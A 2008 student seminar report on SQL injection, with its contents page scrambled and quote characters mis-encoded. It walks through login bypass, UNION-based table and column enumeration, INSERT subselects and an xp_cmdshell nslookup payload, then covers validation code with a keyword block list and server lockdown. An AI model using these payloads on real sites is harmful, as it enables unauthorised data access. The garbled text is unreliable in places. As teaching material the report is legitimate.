SQL Injection | Parameter (Computer Programming) | Sql

SQL INJECTION A SEMINAR REPORT Submitted by SANJEEV KUMAR JAISWAL in partial fulfillment of requirement of the Degree of Bachelor of Technology

(B.Tech) IN COMPUTER SCIENCE AND ENGINEERING SCHOOL OF ENGINEERING COCHIN UNIVERSITY OF SCIENCE AND TECHNOLOGY KOCHI- 682022 AUGUST 2008Page 2 DIVISION OF COMPUTER SCIENCE AND ENGINEERING SCHOOL OF ENGINEERING COCHIN UNIVERSITY OF SCIENCE AND TECHNOLOGY KOCHI-682022 Certified that this is a bonafide record of the seminar entitled SQL INJECTION Presented by the following student SANJEEV KUMAR JAISWAL of the VII semester, Computer Science and Engineering in the year 2008 in partial fulfillment of the requirements in the award of Degree of Bachelor of Technology in Computer Science and Engineering of Cochin University of Science and Technology. Ms. Vini Vijayan Dr. David Peter S. Seminar Guide Head of the Division Date: CertificatePage 3 Acknowledgement Many people have contributed to the success of this. Although a single sentence hardly suffices, I would like to thank Almighty God for blessing us with His grace. I extend my sincere and heart felt thanks to Dr. David Peter, Head of Department, Computer Science and Engineering, for providing us the right ambience for carrying out this work. I am profoundly indebted to my seminar guide, Ms. Vini Vijayan for innumerable acts of timely advice, encouragement and I sincerely express my gratitude to her. I express my immense pleasure and thankfulness to all the teachers and staff of the Department of Computer Science and Engineering, CUSAT for their cooperation and support. Last but not the least, I thank all others, and especially my classmates who in one way or another helped me in the successful completion of this work. SANJEEV KUMAR JAISWALPage 4

2 USING THE SELECT COMMAND 3. INTRODUCTION 1 2. This is achieved by using languages such as SQL the most common being mySQL. CONCLUSION 23 7.Page 5 TABLE OF CONTENTS Chapter No. attackers can:“ Add new data to the database. Most of today's web applications require dynamic content and input from users to achieve the same appeal as traditional applications within the desktop operating systems.1 INPUT VALIDATION 5.4 USING SQL SERVERS STORED PROCEDURES 4. Could be embarrassing to find yourself selling politically incorrect items on an e-Commerce site.. Perform an INSERT in the injected SQL“ Modify data currently in the database. Title PAGE LIST OF FIGURES ii 1. The attacker can gain unauthorized access to restricted data suck as usernames /passwords/email addresses etc.3 USING THE INSERT COMMAND 3.3 ROBUST NETWORK ARCHITECTURE 6.1 AUTHORIZATION BYPASS 3. AUTOMATED SQL INJECTION TOOLS 20 5.2 SQL SERVER LOCKDOWN 5.ABSTRACT This paper contains information about this extremely popular database attack. With some more advanced queries and tricky techniques the attacker can potentially bypass the authentication and gain complete control over the web application and potentially the web server. Perform an UPDATE in the injected SQL“ Often can gain access to other user™s system capabilities by obtaining their password. Using SQL injections. COUNTERMEASURES 21 5. CHECKING FOR VULNERABILITY 3 3 ATTACKS 6 3. REFERENCES 24 .

2 TABLES USING WHERE 14 3.3 TABLES USING SELECT 16 3.1 BROWSER RESPONSE ON UNION COMMAND 13 3.2.1 ROBUST NETWORK ARCHITECTURE 25 iiPage 7 .3.2.2.4 TABLES USING UNION 17 5.2.iPage 6 LIST OF FIGURES NO: NAME PAGE 3.

in the cost-cutting rush to bring their web-based applications on line ” or perhaps just through simple ignorance ” many software companies overlook or introduce critical security issues. and governments have found that web applications can offer effective. SQL Injection is inputting the raw transact SQL Query into an application to perform an Division of Computer Engineering 1Page 8 SQL Injection unexpected action. Building security into a product is much easier (and vastly more cost-effective) than any post-release attempt to remove or limit the flaws that invite intruders to attack your site. Businesses. However. The most commonly used characters are backtick (`). and the semi colon ( all of witch have specific meaning in SQL. efficient and reliable solutions to the challenges of communicating and conducting commerce in the Twenty-first century. This is achieved by using languages such as SQL the most common being mySQL. there is an astonishing number of production systems connected to the Internet that are vulnerable to this type of attack. double dash(--). developers must acknowledge that security is a fundamental component of any software product and that safeguards must be infused with the software as it is being written.SQL Injection 1. Introduction The World Wide Web has experienced remarkable growth in recent years. It is facilitated by a common coding blunder: the program accepts data from a client and . individuals. Transact SQL is easily changed by the placement of a single character in a chosen spot causing the query to behave in malicious ways. So what exactly can an attacker do with an unsurped SQL query? The attacker can gain unauthorised access to restricted data suck as usernames /passwords / email addresses etc. consider the case of blind SQL injection SQL injection is a technique for exploiting web applications that use client-supplied data in SQL queries. but without first stripping potentially harmful characters. Despite being remarkably simple to protect against. and to make clear the correct mechanisms that should be put in place to protect against SQL injection and input validation problems in general. Most of today's web applications require dynamic content and input from users to achieve the same appeal as traditional applications within the desktop operating systems. The objective of this paper is to focus the professional security community on the techniques that can be used to take advantage of a web application that is vulnerable to SQL injection. To prove that dictum. This is a hacking method that allows an unauthorized attacker to access a database server. With some more advanced queries and sneakier techniques the attacker can potentially bypass the authentication and gain complete control over the web application and potentially the web server. Most of the time existing queries are edited to achieve the same results. To build secure applications.

Blind SQL injection can still evade the databases. You never can be sure. another might not. It™s nice when you throw a single quote into the first argument of a script and the server returns a nice blank. modify. the programmer who worked on Function A in Script A might have nothing to do with Function B in Script A. leave all of the other parameters unchanged. Testing procedure Replace the argument of each parameter with a single quote and an SQL keyword (such as "˜ WHERE"). in the HTTP request statement. white screen with nothing but an ODBC error on it. Regrettably. In fact. the attacker will attempt to reverse-engineer portions of the original SQL query using information gained from these error messages. one vulnerable parameter might be overlooked. You should always check every parameter of every script on the server. Test everything . Each parameter needs to be tested individually. Not only that. In Division of Computer Engineering 2Page 9 SQL Injection practice. The attacker is then free to extract. but such is not always the case. the other might be ripe for abuse. Even if an entire web application is conceived.executes SQL queries without first validating the client™s input. In this paper. It can be tempting to simply delete everything you™re not working with Division of Computer Engineering 3Page 10 SQL Injection . that™s not sufficient. but when testing each parameter. Developers and development teams can be awfully inconsistent. It is very easy to overlook a perfectly vulnerable script if you don™t pay attention to details. Checking for Vulnerability Thoroughly checking a web application for SQL injection vulnerability takes more effort than one might guess. etc. Hackers typically test for SQL injection vulnerabilities by sending the application input that would cause the server to generate an invalid SQL query. add.. designed. so while one parameter in one script might be vulnerable. or delete content from the database. I have used regular ASCII characters in the examples and screenshots to maintain maximum readability. so where one might be immune to SQL injection. with valid data as their arguments. though. 2. The typical administrative safeguard is simply to prohibit the display of database server error messages. coded and tested by one programmer. In some circumstances. The programmer who designed Script A might have had nothing to do with the development of Script B. you will need to substitute %25 for percent sign. he may even penetrate past the database server and into the underlying operating system. %2B for plus sign. If the server then returns an error message to the client. Character Encoding Most web browsers will not properly interpret requests containing punctuation characters and many other symbols unless they are URL-encoded.

Or. unaltered parameter line ContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkiste while this parameter line gives you an ODBC error ContactName=Maria %20Anders&CompanyName=˜%20OR and checking with this line might simply return an error indicating that you need to specify a ContactName value. First. so it didn™t even pass the argument of that parameter into an SQL statement. injection was definitely successful. I saw a web application that returned a generic error message page in response to an SQL injection attack. when testing for SQL injection. More details on the nature of the error can be in hidden input. always use the full parameter line. comments. For instance. etc. SQL Server. developers do some strange things. I have seen web applications on production systems that return an error message with absolutely no information in the body of the HTTP response. CompanyName=˜ This line¦ ContactName=BadContactName&CompanyName=˜ ¦might give you the same page as the request that didn™t specify ContactName at all. Another thing to watch out for is a 302 page redirect. Clicking on a stop sign image next to the error retrieved another page giving the full SQL Server error message. giving every argument except the one that you are testing a legitimate value. So. it might give you something completely different. it might give you the site™s default homepage. Evaluating Results If the server returns a database error message of some kind. etc. During a recent penetration test. You should look not only on the immediately returned page. Some web applications are designed to return the client to the site™s main page whenever . and then developers forget to remove or disable them before release.to make things look simpler. it didn™t bother to look at CompanyName. perhaps when the application couldn™t find the specified ContactName. Again. Or. Many times the server returns a properly formatted. Or. seemingly generic error message page telling you that there was an internal server error or a problem processing your request. However. Leaving out parameters or giving other parameters bad arguments while you™re testing another for SQL injection can break the application in other ways that prevent you from determining whether or not SQL injection is possible. the messages aren™t always obvious. particularly with applications that have parameter lines that go into many thousands of characters. assume that this is a completely valid. but also in linked pages. so you should look in every possible place for evidence of successful injection. search through the entire source of the returned page for phrases such as Division of Computer Engineering 4Page 11 SQL Injection ODBC. You may be whisked away from the database error message page before you even get a chance to notice it. Note that SQL injection may be successful even if the server returns an ODBC error messages. Many web applications have these kinds of features built into them for debugging and QA purposes. Check the headers. but that have the database error message in a header. Syntax.

or that politely asks the user to send an e-mail to their support staff. of course. chances are that injection is occurring. you can modify the actual SQL query structure so that a valid name will be returned by the query even if you do not know a valid username or a password. (Please note that nothing is different from null. It can be possible to take advantage of these sites using stored procedure techniques. If strUsername and strPassword can contain any characters that you want. How? Let™s say a user fills out the logon form like this: Login: ˜ OR ˜˜=˜ Password: ˜ OR ˜˜=˜ This will give SQLQuery the following value: Division of Computer Engineering 6Page 13 SQL Injection SELECT Username FROM Users WHERE Username = ˜˜ OR ˜˜=˜˜ AND Password = ˜˜ OR ˜˜=˜˜ Instead of comparing the user-supplied data with that present in the Users table. Consider the following web application code: SQLQuery = "SELECT Username FROM Users WHERE Username = ˜" & strUsername & "˜ AND Password = ˜" & strPassword & "˜" strAuthCheck = GetQueryResult(SQLQuery) If strAuthCheck = "" Then boolAuthenticated = False Else boolAuthenticated = True End If Here™s what happens when a user submits a username and password. the application will select the username from the first row in the table that is searched.1 Authorization Bypass The simplest SQL injection technique is bypassing logon forms. Many sites have a default 500 Internal Server Error page that claims that the server is down for maintenance. This. Division of Computer Engineering 5Page 12 SQL Injection 3. will always return true. which indicates that the user should be authenticated. Attacks This section describes the following SQL injection techniques: ¢ Authorization bypass ¢ Using the SELECT command ¢ Using the INSERT command ¢ Using SQL server stored procedures 3. If such a row is found. the username is stored in the variable strAuthCheck. It will pass this . If there is no row that the user-supplied data matches. If you receive a 500 Error page back. The query will go through the Users table to see if there is a row where the username and password in the row match those supplied by the user. the query compares a quotation mark (nothing) to another quotation mark (nothing). strAuthCheck will be empty and the user will not be authenticated.) Since all of the qualifying conditions in the WHERE clause are now met.any type of error occurs.

you must know how to interpret the error messages and how to modify your injection string to defeat them. This allows multiple SELECT queries to be specified in one statement. the part of the query that you will be able to manipulate will be the WHERE clause. you must reverse-engineer several parts of the vulnerable web application™s SQL query from the returned error messages. To do this. Direct values can be either numeric values used in WHERE statements. and end in a WHERE statement that needs a quote appended to it. To make the server return records other than those intended. Title FROM Employees WHERE Employee = " & intEmployeeID ¦or the argument of an SQL keyword. using single result cycling techniques.username to strAuthCheck. LastName. And now to address the problem of cheating. Yes. which will ensure our validation.-. It is also possible to use another row™s data. Here™s one example: SELECT CompanyName FROM Shippers WHERE 1 = 1 UNION ALL SELECT CompanyName FROM Customers WHERE 1 = 1 This will return the recordsets from the first query and the second query together. LastName. direct injection is possible.but it™s the only server that does that. Title FROM Employees ORDER BY " & strColumn All other instances are quoted injection vulnerabilities. Most of the time. such as table or column name: Division of Computer Engineering 7Page 14 SQL Injection SQLString = "SELECT FirstName. DB/2. Quoted The first error that you normally encounter is the syntax error.2 Using the SELECT Command For other situations. Title FROM Employees WHERE EmployeeID = ˜" & strCity & "˜" To break out of the quotes and manipulate the query while maintaining valid syntax. whatever argument you submit has a quote prefixed and appended to it by the application. In a quoted injection. If that generates an error. Direct vs. like this: SQLString = "SELECT FirstName. LastName. SQL Server will ignore everything after a . The ALL is necessary to escape certain kinds of SELECT DISTINCT statements. 3. your injection string must contain a single quote before you use an SQL keyword. whatever argument you submit will be used in the SQL query without any modification. It™s better to learn how to do this the hard way so that you™ll know how to handle an Oracle. Try taking the parameter™s legitimate value and appending a space and the word OR to it. Most web applications that use dynamic content of any kind will build pages using information returned from SELECT queries. Just make . The first thing that you need to determine is whether injection is possible without escaping quotation. In a direct injection. such as this¦ SQLString = "SELECT FirstName. A syntax error indicates that the query does not conform to the proper structure of an SQL query. or any other kind of database server. Basic UNION SELECT queries are used to retrieve information from a database. MySQL. modify a WHERE clause by injecting a UNION SELECT.

When a number is expected. Try them all ˜ BadValue™ ˜BadValue ˜ OR ˜ ˜ OR . no records will be returned. using nothing will not work because there are entries in the table where nothing is used. simply use a string such as NoSuchRecord or NotInTable. Title FROM Employees WHERE City = ˜" & strCity & "˜" And you use this injection string: ˜ UNION ALL SELECT OtherField FROM OtherTable WHERE ˜˜=˜ The following query will be sent to the database server: SELECT FirstName. In these cases you can bully fragments of the SQL query from the server by deliberately creating syntax errors.9. The only records that will be returned will be from the injected query. Extension FROM Employees WHERE (City = ˜" & strCity & "˜)" . Notes. Depending on the way the query is designed. Several will often return the same or no information. You simply need to specify a value that does not occur in the table. but there are instances where only one of them will give you helpful information.sure that the first query (the one the web application™s developer intended to be executed) returns no records. some strings will return useful information and others will not. For a text argument. LastName. zero and negative numbers often work well.9 Division of Computer Engineering 9Page 16 SQL Injection Parentheses If the syntax error contains a parenthesis in the cited string (such as the SQL Server message used in the following example) or the message complains about missing parentheses. you may need to use two or more parentheses. Query Enumeration with Syntax Errors Some database servers return the portion of the query containing the syntax error in their error messages. Since it will not find it. looking for a row where City is set to nothing. or because specifying nothing makes the web application do something else. LastName. Title FROM Employees WHERE City = ˜˜ UNION ALL SELECT OtherField FROM OtherTable WHERE ˜˜=˜˜ The database engine will inspect the Employees table. Here™s the code used in parenthesis. add a parenthesis to the bad value part of your injection string.asp: mySQL="SELECT LastName. In some cases. FirstName. In some cases. and one to the WHERE clause. 9. Suppose you are working on a script with the following code: Division of Computer Engineering 8Page 15 SQL Injection SQLString = "SELECT FirstName. Here™s my list of suggested attack strings. Title.

Occasionally you™ll find yourself in a query that you just can™t seem to break. Many times. you get error after error after error. Choose a valid system table name. FirstName.. To stop the intended query from returning records. Extension FROM Employees WHERE (City = ˜˜) UNION SELECT OtherField From OtherTable WHERE (˜˜=˜˜) LIKE Queries Another common debacle is being trapped in a LIKE clause. when you inject this value¦ ˜) UNION SELECT OtherField FROM OtherTable WHERE (˜˜=˜. Most search functions use SQL queries with LIKE clauses. Also. LastName. your bad value must be something that none of the values in the LastName field contain. so in this example the WHERE clause would return true in any case where strLastNameSearch appears anywhere in LastName.. Title. Title FROM Employees WHERE LastName LIKE ˜%" & strLastNameSearch & "%™" The percent signs are wildcards. if at all. using nothing as your bad values will make the LIKE argument % % resulting in a full wildcard.can rescue you in those cases . such as the following: SQLString = "SELECT FirstName. and often parenthesis as well) needs to be mirrored in the WHERE clause of the injection string.So. Column Number Mismatch If you can get around the syntax error. this is because you™re trapped inside a function that™s inside a WHERE clause. LastName. and the WHERE clause is in a subselect which is an argument of another function whose output is having string manipulations performed on it and then used in a LIKE clause which is in a subselect somewhere else. Division of Computer Engineering 10Page 17 SQL Injection Dead Ends There are situations that you may not be able to defeat without an enormous amount of effort. The second screenshot shows a working injection query for the above code. You will then most likely be confronted with an error message that complains about the difference in the number of fields in the SELECT and UNION SELECT queries. Notes. the hardest part is over. No matter what you do. Seeing the LIKE keyword or percent signs cited in an error message are indications of this situation. ¦the following query will be sent to the server: SELECT LastName. You need to find out how many columns are requested in the legitimate query. which returns all records. Let™s say that this is the code in the web application that you™re attacking: SQLString = SELECT FirstName. The next error message will probably complain about a bad table name. Not even SQL Server™s . The string that the web application appends to the user input (usually a percent sign and single quote. EmployeeID FROM Employees WHERE City = ˜" & strCity "˜" The legitimate SELECT and the injected UNION SELECT need to have an equal number of .

are very strict about this. then the corresponding field in your injection string needs to be a string as well. Some servers. For example.9.asp?city=˜UNION ALL SELECT 9. is illegal because text cannot be converted to an integer.9 FROM SysObjects WHERE ˜=˜ http://localhost/column. When the latter is the case. you will get only the conversion message once you™ve matched the correct number of columns. putting numeric data in a varchar™s place is allowed.asp?city=˜UNION ALL SELECT 9 FROM SysObjects WHERE ˜=˜ All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.9 FROM SysObjects WHERE ˜=˜ On the last command. use numeric values by default.columns in their WHERE clauses. To illustrate. keep adding values to the UNION SELECT clause until you stop getting a column number mismatch error. in SQL Server. .asp?city=˜UNION ALL SELECT 9. however. Putting text in a smallint column. because numbers can be converted to strings implicitly. such as Oracle. 40column SELECT commands are not terribly uncommon. If you encounter a data Division of Computer Engineering 11Page 18 SQL Injection type mismatch error. In this case. By the way. Sometimes you will get a conversion error as soon as you submit an incorrect data type. To determine the number of columns you need to match.2. matching the value types can take a very long time. leaving you to figure out which columns are the ones that are causing the error. they both need three. If FirstName is a string. you should have the results of your injection query. the server returned the following error message: Operand type dash. ntext is incompatible with int. the server should return a page with the same formatting and structure as a legitimate one.1 Browser response on Union command So I incremented the number of columns and resubmitted the command.9 FROM SysObjects WHERE ˜=˜ http://localhost/column. Because numeric types often convert to strings easily (but not vice versa). http://localhost/column. Others are more lenient and allow you to use any data type that can do implicit conversion to the correct data type. If all goes well. Their column types also need to match.9. change the data type (of the column you entered) from a number to a literal. At other times.asp?city=˜UNION ALL SELECT 9. since the number of possible combinations is 2 n where n is the number of columns in the query.9. when I submitted the following command¦ http://localhost/column. Division of Computer Engineering 12Page 19 SQL Injection Fig:3. Wherever dynamic content is used. continuing this until I received a different error message.

you can get the names of the fields in that table with an injection query similar to this Division of Computer Engineering . they are called sysobjects and syscolumns. Table and Field Name Enumeration Now that you have injection working. Consider this line of code: Division of Computer Engineering 14Page 21 SQL Injection SQLString = "SELECT FirstName. you can easily get all of the table and column names in the database. There are two ways to solve this problem: use the .9.9.Division of Computer Engineering 13Page 20 SQL Injection So I submitted the following command and the server returned the page illustrated in Figure 2: http://localhost/column.™text™ FROM SysObjects WHERE ˜=˜ Fig:3. LastName. Once you find one that looks interesting (we™ll use Orders).2. you may or may not be able to do this. or guess the name of the table that the offending column is in and add it to your FROM clause. respectively. The key is to be able to access the system tables that contain the table and column names. There is a list of system tables for other database servers at the end of this document. LastName. Title FROM Employees WHERE City = ˜NoSuchCity™ UNION ALL SELECT OtherField FROM OtherTable WHERE 1=1 AND Country = ˜USA™ Which yields an error message such as: [Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name ˜Country™. With Oracle and Access. In SQL Server.2 Tables using WHERE Additional WHERE Columns Sometimes your problem may be additional WHERE conditions that are added to the query after your injection string. These tables contain a listing of all tables and columns in the database. use the following injection query. The problem here is that your injected query does not have a table in the FROM clause that contains a column named Country in it.-terminator (if you™re using SQL Server). With SQL Server. Use the attack queries listed in Query Enumeration with Syntax Errors to try to get as much of the legitimate query back as possible . Title FROM Employees WHERE City = ˜" & strCity & "˜ AND Country = ˜USA™" Trying to deal with this query like a simple direct injection would yield a query such as: SELECT FirstName. To get a list of user tables in SQL Server. you will also need to know relevant column names in those tables). depending on the privileges of the account that the web application is using to access the database.asp?city=˜UNION ALL SELECT 9. you have to decide what tables and fields you want to access. modified to fit you own circumstances: SELECT name FROM sysobjects WHERE xtype = ˜U™ This will return the names of all user-defined tables (that™s what xtype = ˜U™ does) in the database.

so the next row in the table will be used instead. Your second injection string would be: ˜ UNION ALL SELECT FieldOne. 0 FROM sysobjects WHERE xtype=™U The second illustration in Figure 6 shows the results returned by the following injection query: http://localhost/simplequoted. FieldThree FROM TableOne WHERE FieldOne NOT IN (˜Alpha™) AND FieldTwo NOT IN (˜Beta™) AND FieldThree NOT IN (˜Delta™) AND ˜˜=˜ Division of Computer Engineering 17Page 24 SQL Injection The NOT IN VALUES clause makes sure that the information you already know will not be returned again. and ignore the rest. If you™re faced with a single product display application. Beta and Delta. Some applications are designed to use only one recordset in their output at a time.15Page 22 SQL Injection SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ˜Orders™) The first illustration in Figure 3 shows the results returned by the following injection query: http://localhost/simplequoted.asp?city = ™UNION ALL SELECT name. 0. FieldTwo. Search tools are ideal because they are made to return results from many different rows at once. You can manipulate your injection query to allow you to slowly.. ˜A™. use an application that is designed to return as many results as possible. 0. FieldTwo. FieldTwo and FieldThree injected into your document. get your desired information back in full.asp?city = ™UNION ALL SELECT name. FieldThree FROM TableOne WHERE ˜˜=˜ And you got the first values in FieldOne. Let™s say you started with this injection string: ˜ UNION ALL SELECT name. 0. you can still prevail. This is accomplished by adding qualifiers to the WHERE clause that prevent certain rows™ information from being selected.2.3 Tables USING SELECT Division of Computer Engineering 16Page 23 SQL Injection Fig:3. respectively. Let™s say these values were AlphaAlpha.4 Tables using UNION Single Record Cycling If possible. 0. Let™s say the values of FieldOne. 0 FROM sysobjects WHERE id = (SELECT id FROM sysobjects WHERE name = ˜ORDERS™) AND =™ Fig:3. ˜A™.2. but surely. BetaBeta and DeltaDelta. FieldTwo and FieldThree were Alpha. .

This is what you want. you navigate to a page where it displays this information and gives you an option to edit it. Common uses of INSERT in web applications include user registrations. bulletin boards. You can do this using subselects. Maybe the application sends you e-mail with the Name value in it. you™ll get back an error message saying that the subselect returned too many records. find a way to view at least some of the information you™ve entered . providing a form where you enter your name.4 SQLString = "INSERT INTO TableName VALUES (˜" & strValueOne & "˜. You may not want to try to use INSERT if avoiding detection is an important issue. Suppose a site allows user registration of some kind. etc.com Phone: 333-333-3333 Making the SQL statement look like this: INSERT INTO TableName VALUES (˜˜ + (SELECT TOP 1 FieldName FROM TableName) + ˜˜. ˜" & strValueTwo & "˜. Here™s how INSERT injection differs from SELECT injection. ˜" & strValueThree & "˜)" Division of Computer Engineering 18Page 25 SQL Injection You fill out the form like this: Name: ˜ + (SELECT TOP 1 FieldName FROM TableName) + ˜ Email: blah[at]blah. it greets you with the value it has stored for your name in the database. ˜Value Three™) You want to be able to manipulate the arguments in the VALUES clause to make them retrieve other data. it may be noticed. Depending on how watchful the administrator is and what is being done with the information in that database. ˜blah[at]blah. ˜Value Two™.com™. You can go through all of the rows in the table using NOT IN ( ) the same way it is used in single-record cycling. address. Unless you use TOP 1 in your subselect. To take advantage of an INSERT vulnerability. Consider this example code: 3.3. Checking for vulnerabilities with INSERT statements is the same as doing it with WHERE. INSERT injection often floods rows in the database with single quotes and SQL keywords from the reverseengineering process. phone number. you must be able to view the information that you™ve submitted. you™ll see the first value in FieldName where the user™s name would normally be. It doesn™t matter where it is. However you do it. etc.3 Using the INSERT Command The INSERT command is used to add information to the database. adding items to shopping carts. After submitting the form. Division of Computer Engineering . Maybe when you log on. ˜333-333-3333™) When you go to the preferences page and view your user™s information. An INSERT query looks like this: INSERT INTO TableName VALUES (˜Value One™.

To obtain a copy of the script please see 'http://packetstormsecurity. 'known bad' input changes over . Finally.19Page 26 SQL Injection 4. Typically. Automated SQL Injection Tools SQL Injection is typically performed manually.pl' please make sure you have a perl environment installed. Wpoison runs on linux and is available at http://wpoison. first. since overenthusiastic validation tends to cause parts of an application to break. SQL error strings are stored in a signature file.net mieliekoek. and the problem of input validation can be difficult to solve.pl is an SQL Injection insertion crawler that will test all forms on a website for possible SQL Insertion problems.1. Input validation tends not to add to the functionality of an application. The string to be injected can easily be changed in the configuration file.com Division of Computer Engineering 20Page 27 SQL Injection 5. which can result in problems as described above.. Here is an example of the output of mieliekoek. Countermeasures 5. The following is a brief discussion of input validation.6' .sourceforeg. $badstring='blah' or 1=1 --'. Second. the developer is not necessarily aware of what constitutes 'bad' data. The SPI Toolkit is available at http://www. but it does illustrate the differing strategies quite well.1 Input Validation Input validation can be a complex subject. BUT some tools are available that will help automate the process of identifying and exploiting the vulnerability.com/UNIX/security/mieliekoek.168. with sample code. and thus it is generally overlooked in the rush to meet imposed deadlines. because new forms of 'bad data' are being discovered all the time. Solution (2) suffers from some of the same issues as (1). This script will take the output of a website mirroring tool as input inspecting every file and determining whether there is a form in the file. $badstring='blah' exec master. 'massaging' the data can alter its length. The different approaches to data validation can be categorised as follows: 1) Attempt to massage data so that it becomes valid 2) Reject input that is known to be bad 3) Accept only input that is known to be good Solution (1) has a number of conceptual problems.xp_cmdshell 'nslookup a.spidynamics.. SPI toolkit from SPI Dynamics contains a tool called SQL Injector that will automate SQL Injection testing. This sample code is (of course) not intended to be directly used in applications.pl : $badstring='blah'. too little attention is paid to it in a development project. Wpoison is a tool that will find any strings potentially SQL Injection vulnerabilities in dynamic web documents. making it easier for anyone to add their own signature for a possible SQL Injection signature for a web application.com 192. there is the problem of second-order effects involving the reuse of data already in the system.

known_bad(i). "update". "delete". Solution (3) is probably the better of the three. but can be harder to implement. Approach 1 .allow only good input. the attacker could specify input like uni'on sel'ect @@version-'Since the single-quote is removed after the 'known bad' filter is applied. "drop".Escape singe quotes function escape( input ) input = replace(input.Allow only good input function validatepassword( input ) Division of Computer Engineering 22Page 29 SQL Injection good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" .for example. 'select' and 'union' followed by a 'massaging' filter that removes single-quotes. as new attack techniques develop. input. "''") escape = input end function Approach 2 . and then search that input for known 'bad' data. the attacker can simply intersperse single quotes in his known-bad strings to evade detection. vbtextcompare ) <> 0 ) then validate_string = false exit function end if next end function Approach 3 . A good example of the necessity to combine these two approaches is the problem of hyphenated surnames : Quentin Bassington-Bassington Division of Computer Engineering 21Page 28 SQL Injection We must allow hyphens in our 'good' input. "'" ) validate_string = true for i = lbound( known_bad ) to ubound( known_bad ) if ( instr( 1. Probably the best approach from a security point of view is to combine approaches (2) and (3) . "'". Here is some example validation code.Reject known bad input function validate_string( input ) known_bad = array( "select". if we apply a 'known bad' filter that detects '--'. "insert". "--". but we are also aware that the character sequence '--' has significance to SQL server.time. Another problem occurs when combining the 'massaging' of data with validation of character sequences .

and what will be done with the logs. 6. Verify which accounts can access which objects a. Verify that only the network libraries you're using are enabled. Replace direct SQL statements with stored procedures. Division of Computer Engineering 24Page 31 SQL Injection Implements Default Error Handling. Ensure that all accounts have strong passwords. An excellent lockdown checklist is provided at http://www. using the 'Network utility' 2. run a password auditing script (such as the one provided as an appendix to this paper) against the server on a regular basis 3.validatepassword = true for i = 1 to len( input ) c = mid( input. Create 'low privileged' accounts for use by applications b.2 SQL Server Lockdown The most important point here is that it *is* necessary to 'lock down' SQL server. consider removing the '. The account that an application uses to access the database should have only the minimum permissions necessary to access the objects that it needs to use. it is not secure 'out of the box'. Here is a brief list of things to do when creating a SQL Server build: 1.the 'northwind' and 'pubs' databases. Remove all sample databases . 5.. Verify which accounts exist a. Verify which objects exist a.sqlsecurity. Verify the patch level of the server a. i. Determine methods of connection to the server a. Verify what will be logged. Remove unnecessary accounts Division of Computer Engineering 23Page 30 SQL Injection c. 1 ) if ( InStr( good_password_chars. This would include using a single error message for all errors . for example. Many extended stored procedures can be removed safely.dll' file containing the extended stored procedure code. prepared statements. 4.com. b. It is likely that more exist. If this is done. c ) = 0 ) then validatepassword = false exit function end if next end function 5. or ADO command Objects. There are several buffer overflow and format string attacks against SQL Server (mostly discovered by the author) as well as several other 'patched' security issues.

Lock down ODBC.. David Litchfield Division of Computer Engineering 26Page 33 SQL Injection http://www.com/research/advisori.0100-2. Computer science students involving in projects related to database and to general people who are launching their sites on internet. Through this article one can know that what are the breaches that can be secured either code or protection security like firewalls..youtube.. References [1] Web Application Disassembly with ODBC Error Messages..com/checklist. Disable Messaging to clients.. Conclusions Division of Computer Engineering 25Page 32 SQL Injection This article is to make aware the people who are anyways related to database maintenance say DBA.atstake.01-060. 5. Site owner.3 Robust network architecture design will aid in the defense of any enterprise.1 Robust Network Architecture 6..2001-1.com/watch?v=MJNJjh4jORY Reference: http://seminarprojects. The diagram shows a defensible network design by utilizing a De-Militarized Zone (DMZ) to hold all Ëœpublic facingâ„¢ servers Fig: 5.sqlsecurity.atstake.atstake.com/research/advisori. Don't let regular SQL Statements through Lock down User Database configuration Specify. users. So.txt [6] http://www.asp http://www.0100-1.doc [2] SQL Server Security Checklist http://www. before launching your site or when checking your site try to check atleast the codes what are illustrated in this article and if you find any bugs please correct it as soon as possible and if its not your website then please inform the owner through mail or phone that that site has bugs( be ethical) else attacking on other sites using this technique is illegal. Do that at your own risk.txt [4] Microsoft SQL Server Extended Stored Procedure Vulnerability http://www.asp [3] SQL Server 2000 Extended Stored Procedure Vulnerability http://www.com/papers/webappdis.. roles and permissions etc.3.txt [5] Multiple Buffer Format String Vulnerabilities In SQL Server http://www.com/research/advisori.microsoft. 7.com/technet/securit..com/Thread-sql-injection-a-seminar-report#ixzz1qlsgocNy .nextgenss. so I m not responsible for any kind of unethical stuffs.

Sign up to vote on this title
UsefulNot useful